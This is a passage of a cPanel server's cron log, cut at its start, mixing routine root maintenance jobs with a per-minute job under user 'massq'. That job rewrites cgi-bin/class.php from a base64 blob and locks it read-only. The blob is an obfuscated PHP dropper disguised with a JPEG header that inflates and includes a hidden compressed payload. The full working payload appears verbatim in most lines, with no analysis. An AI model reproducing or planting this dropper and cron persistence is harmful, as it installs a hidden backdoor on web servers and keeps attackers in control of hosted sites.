RklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 13:08:01 server CROND[6227]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 13:09:01 server CROND[6294]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  9 13:09:01 server CROND[6295]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 13:10:01 server CROND[6359]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 13:10:01 server CROND[6360]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 13:10:01 server CROND[6361]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 13:10:01 server CROND[6362]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 13:11:01 server CROND[6475]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 13:12:01 server CROND[6531]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  9 13:12:01 server CROND[6532]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 13:13:01 server CROND[6720]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 13:14:01 server CROND[6792]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 13:15:02 server CROND[6857]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 13:15:02 server CROND[6858]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 13:15:02 server CROND[6859]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 13:16:01 server CROND[6962]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 13:17:01 server CROND[7016]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 13:18:01 server CROND[7160]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 13:19:01 server CROND[7228]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 13:20:01 server CROND[7284]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 13:20:01 server CROND[7285]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 13:20:01 server CROND[7286]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 13:20:01 server CROND[7289]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 13:20:01 server CROND[7291]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
